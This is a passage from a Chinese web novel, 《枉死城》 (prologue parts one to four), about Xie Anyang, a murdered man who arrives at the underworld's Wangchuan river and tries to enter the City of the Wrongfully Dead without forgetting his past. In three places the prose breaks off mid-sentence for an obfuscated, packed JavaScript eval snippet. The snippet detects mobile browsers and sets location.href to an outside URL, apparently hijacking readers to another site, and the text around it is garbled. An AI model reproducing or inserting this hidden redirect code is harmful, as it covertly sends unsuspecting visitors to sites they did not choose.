《枉死城》 1. 序曲(一) 四周弥漫着无边际的浓雾,十步开外再看不到其他风物,长长的队伍也湮没在灰蒙蒙的尽头。 他心口疼得厉害、四肢疲软无力,每走一步都用尽了力气,奈何身后的人们还在推着他往前走,片刻不肯停歇。 他的时间观念逐渐模糊,也不知徒步走了多久,在抵达忘川河畔时,人们总算停下了脚步。 远远看去,河面雾气腾腾,靠岸的位置漂浮着两条船,还分别立有一块汉白玉界碑,左侧的界碑上书“枉死城”,而右侧则是“轮回境”。 石碑旁各候着一名青年,他们身着的黑袍制服还是偏汉服的样式,就像是很早以前的人。 谢安阳旁边有个瘦弱的姑娘,整个身躯几近透明,行动同他一样迟缓,目光却空洞无神,右侧的青年看到了,连忙过来将她扶上“轮回境”的船。 “看什么?” 伴随着一道青年嗓音,余光里突然多了道黑影,谢安阳吓得往后退了一步。 对方顿感语气欠妥,颇为歉意地挠挠头,“吓着你了吧,实在抱歉。你怎么不过来?” 谢安阳瞥了一眼“枉死城”,又将目光移向“轮回境”,满眼迷茫地望着对方。 青年顿时明了,顺手给他指了路,“你该去枉死城。” 谢安阳稍顿了几秒,说:“多谢。” 船上已经上来不少人,正无精打采地依偎在一起休息,谢安阳不喜欢跟别人扎堆,索性找了个空旷的角落坐下。 最后上来的人是个十几岁的少年,只见他左瞅瞅、右瞧瞧,而后抱着右臂走过来,席地坐到了谢安阳身侧。 谢安阳嫌弃往旁边挪了挪,少年却不懂察言观色,又凑近了些,还直勾勾地盯着他心口看。 “你干什么?”谢安阳的嗓子沙哑得厉害。 说话间,船飘悠悠地淌入了河中央。 少年好奇地问:“你这是怎么弄的?” “?”谢安阳别开眼,显然不想回答。 少年并没有感到尴尬,咂了咂嘴后,问身边离得最近的姑娘,“姐姐,你知不知道这是什么地方?” 姑娘的目光无意间扫过谢安阳,一眼就被他心口血肉模糊的窟窿吓得身躯一震,慌忙避开视线,强作镇定地说:“这里是地府,我、我们现在要去忘川府登记。” 旁边有个中年男人问:“不是去枉死城吗?” 姑娘摇了摇头:“这我不清楚,我是听人说的。” 不远处的差使听到了,见他们一知半解的模样,好心插了一句,“枉死城受忘川府管辖。” 少年眼巴巴地望着他,“这位大人,你能跟我们说说有关枉死城的事吗?” “我叫杨洵,别叫大人,别扭。”杨洵淡漠地说。 少年:“好的,杨洵大人。” “……” 杨洵感到很无奈,只得解释说:“枉死城的存在比较特殊,相当于小人间,虽隶属于地府,但城中大小事务皆由忘川府打理,所以你们初次进入枉死城,得先到忘川府登记个人信息。” “对了,”姑娘忽然问:“你们生前没做过什么坏事吧?” 周围的人本就是闲来无事听一嘴,此时听她问出这一句,纷纷围了过来,有人问:“怎么了?” 姑娘煞有其事地说:“听说枉死城的出入是有限制的,你首先得没犯下恶行,其次还要忘记前尘往事,否则无法踏入枉死城呢。” 众人还没来得及议论,杨洵便一脸严肃地问:“谁跟你说的?” 姑娘眨眨眼,说:“领我来的那位大哥说的呀。” “往生殿掌事说的?” “对呀。” 杨洵早该料到是地府的人说的,不然这些人初来乍到,哪会知道忘川府,不禁喃喃自语:“王掌事的工作还包括同人解释这些?” 少年问:“做过坏事会怎么样?” 这个问题显然不在姑娘的认知范围,她摇了摇头,“这我就不清楚了,忘了问。” 少年顺其自然地抬眼看杨洵。 杨洵只好接着说:“能上这条船的人都是枉死之人,但并非所有人都是好人,犯下恶行的人是没有资格进入枉死城的,一般会被带去地府量刑,接受神罚之后再送去轮回境。” 少年连忙追问:“那为什么非得忘记前尘往事啊?” 杨洵板着脸说:“带有记忆的人往往会把恩怨带进枉死城,没人知道他们会不会做出危害别人的事,人间同理——这类人极可能会影响人间秩序。说白了,这条规定是为了给无辜之人安生的保障。” 有人凑过来问:“不能去枉死城,又无法/轮回,那他们能去哪?” 杨洵说:“他们在忘川河畔游荡千百年后,会沦为彼岸花的养料。当然,也有人耐不住寂寞跳了忘川,就此魂飞魄散。” 姑娘惊恐万分地说:“那怎么办呀,我现在还记得好多事!” “还有我们,我们也记得很多人和事呀!”众人纷纷附和。 杨洵连忙劝慰:“不必惊慌,你们来时喝过忘川水,一般下船后都会忘却前生恩怨,只有少数人执念过强、忘川水洗不净记忆的情况——这类人往往是死得不甘,或有割舍不下的东西。” 他说到这里时,众人竟不约而同地看向了谢安阳。 “……” 谢安阳心说:看我干什么? 杨洵倒没在意他,再次劝慰:“枉死城并没有你们想象的那样严苛,只要忘记生前怨仇就能进去,记得一星半点恩与情没关系的。” 谢安阳问:“方才那些身躯透明的人是怎么回事?” 杨洵还没说什么,就有人举手抢话:“这我知道,来时听他们说过,这些人肉身受损严重,会直接送去轮回呢!” “什么叫肉身受损严重?” “就是没能留下全尸,伤及了魂魄根本……”他说这话的时候,特地瞄了一眼谢安阳心口,下意识问出一句,“他这样子不用去轮回吗?” 这些人身上或多或少都有道致命伤,多数是被衣物遮挡了看不见,剩下的人要么脖子上有刀痕,要么是头上留有干涸的血窟窿…… 谢安阳的情况严重得多,他的额发间血淋淋一片,甚至还有血水在往下淌。满身都是致命伤痕,没损坏的衣物也被血浸透了,最骇人的是心口处有个血窟窿——明显是生前被剖了心。 杨洵说:“抗战时期没留下全尸的人很多,他们来到枉死城无法维持正常生活,只能以人间的新肉身去修养魂魄,像他这种算运气好的,只要还能正常生活就没问题。” 有个姑娘不禁感叹:“他这样还不如直接去轮回,要是待在枉死城,伤口岂不是余生都在了?” 杨洵没反驳,还嘀咕了一句,“无所谓,反正上岸后你们也记不住。” 看来在地府这个地方,记忆或许能清洗掉,伤痕就没那么容易抹去了。 众人乘兴散去,还有几个人双手合十念叨:“老天保佑我全忘了,我没什么牵挂,都忘了吧。” 河面上氤氲着灰蒙蒙的浓雾,几乎看不到对岸,唯一能看清的是船下清澈见底的河水,看样子并没有多深。 “这就是忘川水?” 杨洵无意中瞥见谢安阳将手伸到河水中,一时大惊失色,“别碰!” 然而来不及了,谢安阳的手碰到水面的一瞬,就本能地缩了回来,指尖的部分血肉已经发黑了,还夹杂些许黑红的血沫。 杨洵没好气地骂:“这是忘川水,能溶万物,你手欠什么,不想轮回了是不是!?” 少年问:“可我们来时喝的不就是忘川水吗?” 杨洵气不打一处来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496485|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们喝的忘川水是经往生殿处理过的,跟这个生水不一样!” 杨洵唯恐有人再手欠,连忙警告道:“都小心些,落入忘川非死即残,你们已经死过一次了,要是再死一次,连轮回的机会都没了!” 众人就比较听人话,没敢多说什么,还纷纷远离了船沿。 谢安阳就不太想动,抬眸间还看见少年凑了过来,眼睛睁得大大的,“你还好吧?” 少年衣衫褴褛、身形瘦弱,像是个乞儿装扮,还总是有意无意地扶着右臂,似乎胳膊脱臼了。 谢安阳默默地看他右臂。 少年似乎猜到了他心中所想,一把撸开衣袖,露出了满是青紫的手臂,“我这胳膊是过路时摔了一跤,被一辆破三轮碾成这样的。” 谢安阳正要问他胳膊怎么没断,少年又自顾自地说:“小诊所的医生让我去医院截肢,我才不愿意,胳膊留着总比没有强吧。” 谢安阳生涩地开了金口,“你这胳膊废了,伤口会发炎感染其他部位,严重的话可能导致器官衰竭,你会……” “死”字没说出口,因为他突然想起来,他们本就已经死了。 仔细想想,其实他的话有点多余,说不准这小子就是伤口发炎感染而死的。 少年问:“你是医生吗?” 谢安阳烦躁地扔下俩字:“不是。” “王医生也是这么跟我说的,”少年撇了撇嘴:“可我连药钱都付不起。” 谢安阳有点懵,一时间不知道该从哪安慰起。 “反正我这种人也活不了多久,何必浪费那么多钱,你看,我就是后来被人活活打死的。”少年不以为然地扒开衣物,露出满身淤青的皮肤。 谢安阳下意识问:“为什么?” “饿得受不了,去别人地里偷了两个地瓜呗。”少年轻描淡写地说。 谢安阳:“……” 少年倒是很乐观:“嗐,他们就算不打死我,我最后也会饿死的,都一样。” 少年从身上摸出了一枚小小的红色三角布包,里面装的一般是寺庙里求的平安符,中间正绣着“林朝”二字。 他珍而重之地摩挲着绣字,又凑近了些,“我叫林朝,咱们交个朋友吧,你叫什么名字?” 谢安阳淡漠地说:“等上了岸,谁也不记得谁,交什么朋友。” “别啊,我会记住你的!你说说呗!” 谢安阳并不信他的话,但架不住他这么聒噪,只好答道:“谢安阳。” 林朝兴高采烈地说:“你看起来比我年长,不如我叫你谢大哥吧?” “随便。” 林朝有模有样地一拱手,也不知道看了多少武侠小说,“谢大哥,我一定会记得你的!” 谢安阳:“噢。” 林朝突然又一脸失落地自言自语:“这枚平安符是我爸妈留下的信物,我保存得好好的,可我想不明白,他们为什么找不到我?” 谢安阳无措地伸出手,准备安慰他两句。 谁承想这小子情绪来得快、去得也快,他抹了一把眼泪,又抬眼问:“谢大哥,你说枉死城会有吃的吗?总不能到了地府还会饿肚子吧。” 谢安阳总觉得这话不需要他回答。 果不其然,林朝立马气馁了,又自顾自地说:“是了,听说得有家人烧冥钱才行,我没有家人给我烧冥钱,唉,想想还不如直接去轮回呢。” “……” 谢安阳感觉拳头硬了。 谢安阳还是好心安慰了一句,“那是人间的说法,初次到地府,谁也不知道枉死城什么样,说不定……” “说不定什么?”林朝急切地追问。 谢安阳说:“说不定这里真的是世外桃源,没有战争、没有疫病、没有饥荒,人们丰衣足食、安居乐业。” 2. 序曲(二) 也不知道过了多久,船终于缓缓靠了岸。 杨洵率先下了船,从怀里掏出风铎晃了晃,伴随一阵“叮叮当当”的清响,人们纷纷跟随他下了船。 谢安阳醒来时,浓雾已经散了,映入眼帘的是漫山遍野的彼岸花,中间还有一条曲折的青石板路,同花海一样看不到尽头。 而林朝不知何时已经靠在他肩头睡着了。 谢安阳过眼一扫,忽然瞥见河畔有个突兀的白团。 那是个身着白袍的老人,正盘膝而坐、悬线钓鱼,令人惊奇的是,水里并没有鱼,他的渔线竟也没有被忘川水溶断。 杨洵引领着众人下了船,最后就剩下谢安阳二人了,见林朝还没有醒来的迹象,便推了推他的头。 然而林朝非但没有醒来,睡梦中还在呓语:“谢大哥,那是我捡的……” 谢安阳就没那么好心,果断抖开林朝,自行起身了。 林朝倒地后惊醒了,炸呼呼地喊:“怎么了!怎么了!” 谢安阳一手将他拎起来,嫌弃地扔下两个字:“走了。” 林朝跟在队伍后面,战战兢兢地环顾四周:“大哥,这是哪儿啊?” 谢安阳没多想,淡声说:“现在要去忘川府。” “啊?” 林朝突然上前抱住了谢安阳胳膊,谢安阳格外嫌弃地瞪他一眼,他连忙解释说:“你慢点,我害怕。” “有什么好……”谢安阳还没说完,余光就瞥见一旁的花丛里有个腐烂的人头。 的确是人头,脸已经腐烂了大半,一颗布满血丝的眼球半掩在泥土中,另一颗还在眼眶里转动。 除了人头,泥土中的尸体随处可见,多是半掩在泥土中,血还将周遭的淤泥染红了一片又一片。 “不要看!”谢安阳第一反应是抬手挡住林朝视线,以免吓着他。 林朝却扒开了谢安阳的手,一脸茫然地问:“怎么了?” 与此同时,队伍里有个中年男人吓得尖叫起来,“那是什么啊!?” 为首的杨洵顿住了脚步,转身看中年人,中年人又惊恐地指着某一处,“那里……那里有好多断肢残臂啊!杨洵大人……” 杨洵眉头一皱,悠悠地问:“你还记得?” 男人愣了愣,没反应过来,“记得……记得什么啊?” 众人顺着他的目光一眼望去,都看清了半掩在淤泥中的尸骸,却不约而同地露出疑惑的神情。 杨洵轻描淡写地说:“你进不了枉死城了。” “啊?”男人惊愕地张大了嘴巴。 杨洵却没再搭理他,继续领着众人往前走。 谢安阳也低声问林朝:“你叫什么名字?” “我叫……”林朝张口就要答,却突然卡了个音,“我……好像记不起来了。” 谢安阳神色有些复杂,林朝感到疑惑,一脸天真地问:“那你叫什么?” 谢安阳迟疑了几秒,说:“我也忘了。” 沿路的彼岸花开得正盛,众人却无心观赏,不知不觉竟跟随杨洵走进了迷雾中,五步开外几乎看不到风物。 杨洵在前方嘱咐了一句,“雾大,容易走散,你们跟紧些。” 所有人都噤若寒蝉,唯有中年人下意识“啊”了一声。 漫山的彼岸花慢慢地消失在视野外,迷雾愈发浓郁,除了中年人不时抱着杨洵胳膊东张西望,所有人仍旧视若无睹。 杨洵也出奇地没甩开中年人。 他们不作反应,谢安阳只得装作什么也没看见,好在他心理素质还行,并不会因为一点异常就大惊小怪。 出了迷雾后,所谓忘川府就坐落在彼岸花海的尽头,由层楼叠榭的古式建筑群组成。 碧瓦朱檐、飞阁流丹、钩心斗角,无处不透着精美绝伦,正门主殿的牌匾之上是三个大字:忘川府。 这些建筑古色古香,处处充斥着人间的影子。 若非身边这些人的行为举止呆滞而迟缓,个个身上还带有致命伤,他几乎以为这是人间了。 跨越第一道正门,就能看到庭中有许多正在忙碌的黑衣人,或是抱着文书进进出出,或是用锁链拘着什么人,还有几人正在树下交谈。 来忘川府登记的人已排好了队,长长的队伍穿插过中庭,直入大堂之中。而庭中央也立着一块汉白玉无字石碑,还有个差使候在一侧。 路过的人们会将手按在石碑上,每当石碑上出现带有荧光的名字,差使就会做出“请”的动作,让他进入大堂登记。 谢安阳则将周遭精美的布局与设计打量了好几遍,内心正惊叹于这忘川府与人间建筑的相似程度过高,前方突然传来一声急切的询问:“怎么会这样,杨洵大人,这石头是不是坏了?” 是方才的中年人,他执拗地跟了过来,奈何手在石碑上按了好一会,也没看到有什么字出现,甚至荧光也没有。 杨洵没打算让他浪费大家时间,当即扬手招来两人用锁链将他拖走。 “你们干什么,放开我!”男人被禁锢了手脚,还不甘心地喊:“杨洵大人,我真的忘了,求求你让我进去吧!” 杨洵似已司空见惯,叹息一声,“你要是真忘了,没人能拦着你进枉死城。” 男人这下呆住了,“可我明明喝过忘川水,为什么会忘不掉啊!?” 杨洵慢条斯理地说:“这要问你有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496486|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么放不下的执念了。” “我……”他被两名差使强行拖了出去,哭喊声也渐行渐远:“是巧巧!她是我女儿啊,她才不是什么冤仇,为什么不让进啊……” 谢安阳可能是心虚,默默往后退去,林朝察觉了,反手抓住他的胳膊问:“你要去哪?” 又是这小子。 谢安阳感到无言以对,只好一指石碑,“到你了。” “哦。”林朝只得松开他,乖乖上前将手按了上去,石碑立马肉眼可见地散发出荧光,然而几人等待片刻,却没看到石碑上有字。 差使似乎没遇到过这种状况,便问:“你没有名字?” 杨洵有些惊讶:“怎么会有人没有名字?” 谢安阳心说:他不是叫林朝吗? 差使耸耸肩,“这总不能给他登记无名吧?” 林朝回想起被拖下去的男人,身体肉眼可见地颤抖了一下,下意识往后缩了缩,“我不记得了。” 眼见林朝支支吾吾什么也说不出口,谢安阳便以两名差使看不到的角度,于人群里撞了林朝一下,暗里扯掉了他衣兜里的平安符。 没等谢安阳开口,林朝身旁的姑娘先惊呼一声,“弟弟,你东西掉了。” 林朝忙乱之中看到了,手忙脚乱地将平安符捡起来。 杨洵问:“这是你的吗?” 林朝不自信地说:“应、应该是吧……” 然而差使仅扫了一眼,就下了定论:“这是别人的。” 谢安阳忽然想起林朝睡梦中呢喃的那句“那是我捡的”,总算反应过来平安符可能不是这小子的。 这臭小子可能是个没有名姓的乞儿,嘴里还没一句实话。 好在杨洵并不打算为难他,摆摆手对差使说:“就算他没有名字,也是有资格入枉死城的,名字只是个称呼,算了吧。” 差使只得点点头:“也罢。” 林朝面上总算露出笑容来,转身欲与谢安阳分享这份喜悦,却发现后者已经不见了人影,倒是后面的人不耐烦地催促:“小兄弟,快点吧。” 林朝只好问杨洵:“我能叫林朝吗?” “只是个称呼,随便你。” 差使也说:“进去登记吧,林朝。” “多谢两位大人。”林朝再也没想起来谢安阳,兴高采烈地跟在队伍后面进了主堂。 杨洵问:“梧桐呢?” 差使摇摇头说:“那丫头去往生殿了,还得你替她顶班,辛苦了兄弟。” 杨洵无奈地叹口气,对差使说:“那我这就回南园了?” 差使摆摆手:“替我向执法大人问个好。” “走了。” 3. 序曲(三) 谢安阳悄无声息地退出了人潮,漫无目的地四处晃悠。他对这里并不熟悉,不知道该往哪去,只得选了来时的路。 谁知道正因他的没心没肺,转角时跟人撞了个满怀。 对方抱着一个类似纸板箱的东西,被挡住了视线,压根没看路。二人相撞后,谢安阳不留神栽倒在地,“纸壳箱”也摔成了几块,还掉出几个迷你小桌椅。 谢安阳无意中瞥见那五彩的“纸壳箱”,整个人愣住了——那是由草纸板做成的房屋立体模型。 虽说做工相当粗糙,还一摔就坏,但不影响谢安阳从记忆里翻出它的名字:烫样。 而正门的位置还像极了忘川府。 青年顾不上谢安阳,手忙脚乱地捡起小桌子塞回去,还懊恼不已:“啊呀我的宝贝!” 谢安阳扶着胳膊打量了他一通,心情有些复杂。 此人身着黑色中山装,戴着一副黑框眼镜,俨然一副民国学生模样,脚上却趿着一双拖鞋。 简直是时尚的代表。 谢安阳初来乍到,不好做出引人注意的举动,便装出一副迷茫的表情,手足无措地说:“对不起。” “对不起有……”青年转身就想骂人,一眼看到他心口处的窟窿,不禁把脏话咽了回去。 此人眼睛睁得极大,一脸无辜的模样,让人怪罪不起来。刘钦迟疑了好几秒后,关切的话就脱口而出:“你没事吧?” 谢安阳依旧一脸茫然,似乎听不懂他的话。 青年将模型放到一边,伸手想要扶他起来——也是这时候,谢安阳以仰视的角度看见他左手腕处有道红痕。 刚才在忘川府时,他特地观察过几个差使,包括杨洵在内,好几个人手腕处都有这道红痕,只是被衣袖遮了大半,看不清完整的轮廓。 谢安阳碰到他手的一瞬,心念一动,又故作踉跄一步,顺手拽住青年一道栽进了花丛中。 谢安阳借机扒开他衣袖,一眼看清了红痕的轮廓——那是一道类似纹身的红色彼岸花印记。 又摔了一次,饶是青年脾气再好,也忍不住炸毛:“你干什么?” 谢安阳怕被察觉端倪,飞快地避开视线,假装若无其事地扶青年起来,表情一度看起来很是无辜,怯懦地小声说:“对、对不起?” “……” 青年可能是看他满身血污过于可怜,又只会说“对不起”,一时间怜悯心作祟,便问:“你是新来枉死城登记的吧?” 谢安阳继续装出一脸茫然的样子。 青年无奈地叹口气,从衣兜里摸出两颗奶糖塞到他手里。 蓝白色的糖纸上面还有只白兔。 谢安阳:“?” “这是糖,很甜的,人间的东西。” 谢安阳当然知道是糖,只是感到十分讶异——这里分明是地府,怎么会有这么多人间的东西? 青年将烫样抱在怀里,又问:“你要去哪里?” “我、出来……散心?”谢安阳唯唯诺诺地说。 “你是结巴啊……”话到嘴边,可能是觉得不好,刘钦强行把剩下的话憋了回去,又叮嘱说:“你别走太远了,这个时间那些东西该苏醒了。” “什么、东西?” “彼岸花田里的东西,”青年叹口气,“你不要随意到那边去,虽然时常有差使巡逻,但总会有顾不到的时候,安全起见,早点回枉死城吧。” “哦。” 就很烦,谢安阳本来无处可去的,现在好像有个方向了。 “对了,我叫刘钦,你有事可以到忘川府找我。” 谢安阳:“嗯?” 青年没再说什么,急匆匆离开了,只扔下一句,“我还有事,先走了。” …… 漫山遍野的彼岸花开得正盛,每株花朵的花心都有一簇红光萦绕,成片的红色星点汇聚在一起,几欲将天空映红。 这里虽是漫山花海,却闻不到一丝花香,空气里反而弥漫着一股浓烈的腥锈气味。 他倍感不适,想要找寻腥臭的源头,却突然听得“嘎吱”一声脆响,随即有个人骂骂咧咧地喊了一声:“痛啊啊啊——快走开,你在干什么,哎哟你踩到我啦!” 他低头扫了一眼,发现脚下是个腐烂了半边的头颅,这人就剩下半张脸、早已身首异处,口中却还在叫唤。 他惊疑不定地环顾起四周,这里如来时一样遍地血肉淤泥,还混合着不少已腐烂或未腐烂完全的人类尸身。 他想要逃离,才发现这片花海一眼望不到头,就连来时的路也被重重花朵掩去了。 他跌跌撞撞地朝着一个方向跑去,约莫跑了十来分钟,总算在尽头处看到了许多人,而花丛里也幽幽地响起了一阵窃窃私语。 男女老少的声音都有,说话的语调却出奇地一致:一字一顿、幽幽怨怨。 “有新人来啦!” “哪里呀!” “是个年轻人,他模样看起来比我还惨啊。” “他好像不是被忘川府扔进来的!” “是呀是呀,他是自己走进来的!” “……” 这里似乎有些各种各样的人,他们身上都带有某种致命伤痕,甚至有不少人缺了胳膊或腿。 有年过八旬的白发老人不断咯血,还念念有词地背诵着八股文;也有无家可归的孩子腰间是被重物碾过的痕迹;还有顾影唱到泣血的伶人…… 谢安阳的脚踝忽然被人抓住了,那只手又黑又瘦,对应的主人是个头发花白的老头,他的腿早已腐烂到露骨了,只能盘膝坐在花海中,他还状似疯癫地说:“你知道么,茴香豆的‘茴’字有四样写法。” 要不是看他瘦得跟柴梗似的,谢安阳指定抬脚就踹,他烦躁地扔下三个字,“不知道。” “我可以教你写。” “不用。”他一门心思就想快些离开这里。 不远处有个汉服女子瞧见他行色匆匆,走过来轻声细语地问:“公子,你可曾见过我相公?” 谢安阳一眼就瞥见她脖子上的勒痕,再看向她腐烂的半张脸,顿时呼吸一滞,“没见过,没见过。” 他刚说完拔腿继续跑。 一路上总有很多硌脚的东西,多是断臂残肢以及头骨,更可怕的是还会踩到软烂的器官。 而花丛中的“人”们纷纷爬了起来,看他跑掉了,便不约而同地聚到一起,紧紧地跟随其后,继续七嘴八舌地讨论: “他怎么走了呀?” “他在害怕我们。” “他跟我们是一样的,他为什么还要怕我们呀?” “就是,他早晚会变成我们这样子的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496487|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “别跑啊,我们都会沦为石蒜的养料的!” 最后那句话是个尖厉的女声,整句话像是嘶喊出来的,谢安阳吓了一跳,还差点被个头骨绊倒。 身后的“人”越聚越多,看他加快脚步,他们也跟着加快脚步,谢安阳内心怕得要死,开始后悔当初没听刘钦的话,只能循着记忆朝忘川河岸狂奔了。 好在临近河畔时,那些追着他而来的人总算停下了,他们似乎不敢靠近河岸,只能不甘地目送他渐行渐远。 谢安阳注意到,前方的幽暗中有一道影影绰绰的人形轮廓,还带着几分熟悉感,便不由自主地慢了下来。 谢安阳记得,早前钓鱼的白袍老人就是坐在这里的,没想到天色暗下来,他竟还在钓鱼。 正思索着,身后议论声却突然变回了正常人的说话语调: “怎么办怎么办,他跑到忘川河畔啦!忘川河畔危险,为什么不提醒他啊?” “都怪你们非要追他,把他逼到绝路了。” “你们也追他了,大家都追了……” “这下该怎么办,他会不会死啊?” “已经死过一次啦,这次会魂飞魄散的。” “……” 谢安阳听着身后的吵闹声,很想回头吼一声“安静点”,但目光触及前方白袍老人的背影,又默默把脏话憋了回去。 他缓步朝老人走过去,却见老人将手伸进了忘川水中,他下意识提醒了一声,“别碰!” 老人却像是没有听到一般,就着忘川水洗了个手,当他再次将手伸出水面时,手心手背却没有任何碳化痕迹,反而露出的左腕处也有一道彼岸花印记。 忘川水难道对他没用?? 谢安阳瞥了一眼身后,发现十步开外乌压压站了一群人,正相依偎在一起盯着他看,顿时感到头皮发麻。 回头跟这些东西打交道是不可能的,他只能来到河岸边坐下,盯着忘川河中的水涡发呆。 两人之间静默了两个多小时,期间愣是谁都没出声,谢安阳早已哈欠连连,还是老头率先开口问:“你为何不去枉死城?” 谢安阳当然不能说实话,突然想起了刘钦给他的奶糖,就摸出一颗放入口中,久违的回甘带给他一种强烈的真实感。 自从死过一次后,好像就再也没有感到过饥饿,只是现下口中苦,突然想吃点甜的了。 谢安阳想起身边还有人,顺手将剩下的一颗递过去。 老人毫不客气地接了,轻声细语地问:“谁给你的?” 谢安阳想了想,开口说:“一个好心人。” “那个好心人姓刘?” “?” 也是,这人跟刘钦他们一样,手腕处都有道彼岸花印记,说不定他也是地府的工作人员。 老人一边摆弄鱼竿,一边说:“小刘钦最喜欢人间的东西了。” 其实谢安阳自认生前是个话茬,但自打来了地府,碍于并不熟悉这里的法则,他只能不断地在心里提醒自己不要多嘴,以免祸从口出,后患无穷。 老人没等到回答,便再次追问:“你是不是忘不掉前尘旧梦?” 谢安阳感到有些慌乱,直起身就想离开。 老人却飞快地说:“你若是就此离开,早晚会沦为石蒜的养料。” “……” 4. 序曲(四) 谢安阳默默坐了回去,一脸郁闷地望着河面。 老人问:“去过忘川府没有?” 谢安阳点头。 “熟悉吗?” 谢安阳忍不住问:“忘川府是人间的建筑吗?” “是仿人间的建筑样式,”老人纠正:“约摸五十年前吧,地府来了一位天才设计师,小刘钦想尽办法将他留下来,继而设计修建了现在的忘川府。我还记得他的名字好像叫……雷什么彩?” 谢安阳正在回忆几十年前的大事件,注意力过于集中,下意识接了一句,“雷献彩?” 老人像是明白了什么,满意地笑着说:“记不清了,可能是吧。” 谢安阳反应过来被套话后,愣了一会就想开了,索性不再跟他装,开门见山地问:“你方才的话是什么意思?” “我有办法让你离开这个地方。” “去哪?” “你只能去枉死城。” 谢安阳欲言又止,憋了半分钟,才憋出一句:“你是世外高人?” 老人:“?” 谢安阳生了戒心,不咸不淡地问:“你想从我这里得到什么?” “那你呢,你又想从我这里得到什么?”老人温声说。 谢安阳一愣,没接话。 老人一副了然于胸的表情:“你下船的时候,我就看出你并没有忘记前尘,彼岸花田这么大,就算是被那些东西追赶,怎么会偏偏追到我这里?” 谢安阳面色毫无波澜:“你想说什么?” 老人不疾不徐地说:“你们一行人都害怕忘川水,可你却看到我在这里洗手,不难猜出我并非普通人。你倒没那通天的本领猜到我的身份,但无论我是谁,对你都会有帮助,你才想来这里吸引我的注意吧?” 谢安阳感到不解:“难道不是你先找我搭话的?” 老人笑了,“你装出一副无害的模样,无非是想掩饰你来这里的目的。” 谢安阳不甘示弱:“老人家,你这想象力过于丰富了吧?” 老人却没跟他计较,还扒开衣袖,露出了彼岸花印记,“你想不想知道这是什么?” 谢安阳直白地问:“地府的工作人员都有这个印记?” 谢安阳平静的反应出乎老人的意料,他会心一笑,“这是人与地府签下的终身契印记,签下之后,彼岸花的神力会修复你的身躯,你将不老不死、自由行走于地府的任何地方,也不再惧怕忘川水。” 谢安阳不为所动,只追问:“弊端是什么?” “你将会失去轮回资格,终身待在这里为地府效力。” 谢安阳心生了几分警惕:“你想怎样?” “我说了,我有办法让你进枉死城。” 谢安阳不置可否,接着问:“那他们怎么回事?” 他说的是花田里那些疯疯癫癫的人。 老人解释说:“有放不下执念的人,也有生前行恶之人,他们无处可去,只能在这忘川河畔游荡,没人能在这片寂寞之地待太久,很多人不出一年就疯了。当人性泯灭后,他们会相互残杀,直至将自己逼疯,最终沦为石蒜的肥料。也有人不甘堕落,会跳入忘川,从此消失于世间——你若是不去枉死城,下场就会跟他们一样。” 谢安阳似笑非笑:“那你为什么会选择我?” “我一直守在这里,等一个愿意替代我的人,是谁无所谓,刚好轮到你罢了。”老人也笑吟吟地补充说:“换言之,我随时可以放弃你。” 最后这句话就相当于威胁了,谢安阳听完却不怎么慌,反而低笑出一声,“可我觉得,你最好的选择是我。” “哦?” “你在地府待许久了吧,若是那么容易找到合适人选,哪里还轮得到我?你上来就说能让我进枉死城,要么是觉得我好骗,否则就是这话你也同很多人说过!” 老头饶有兴致地笑出一声,没接话。 “我很好奇,你为何至今没有找到合适的人选?”谢安阳尝试着猜测:“有没有一种可能,将彼岸花移植到别人身上有某种限制,比如对方须保留记忆,或是心甘情愿接受这份契约?” 老人却嗤之以鼻:“自作聪明!” “我要是真自作聪明,你又何必跟我废这么多话?”谢安阳再次寻了个舒适的位置坐下来,态度也摆明了:我陪你耗。 二人沉默了一会,老头忽然神色凝重地说:“你不像是忘川水洗不净执念的人。” 谢安阳跟着笑:“哪里不像?” 老人却答非所问:“你猜对了一半,其实最重要的是,像你这样刚下船还能保持完全清醒的人几乎找不到。” 谢安阳心底有种不祥的预感,但还是强装镇定地笑了笑。 老人继续说:“你初来乍到可能不知道,但凡喝过忘川水的人,记忆一定会受损,程度不同罢了,而你不仅行动自如,心思还如此深沉,我也猜猜——你应该是没喝忘川水吧?” “不是所有人都能忘干净执念,所以他们管得并不严,我也好奇,你为何刚来就有‘不喝忘川水’的念头?若你心思果真如此深沉,我得再考虑考虑是否放你进枉死城了。” 看这老头吹胡子瞪眼,谢安阳无奈地耸耸肩,“你这是打算提前定我的罪?” 老人握着鱼竿的手一紧,话音顿时没了温度,“我若是留下你,你怕是要将地府搅个天翻地覆!” “您是不是太高看我了?”依旧是漫不经心的语气。 周遭的水流忽然涌动起来,谢安阳偏过头,就见十几道三尺长的水刺同时破水而出、还目的明确拐了个弯,尖端直逼他的面门。 